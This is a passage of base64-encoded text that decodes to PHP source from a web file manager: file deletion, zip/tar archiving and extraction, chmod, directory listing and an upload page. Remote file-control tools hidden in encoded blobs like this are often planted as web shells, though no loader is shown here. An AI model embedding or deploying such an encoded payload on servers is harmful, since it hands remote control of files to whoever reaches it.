ICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAga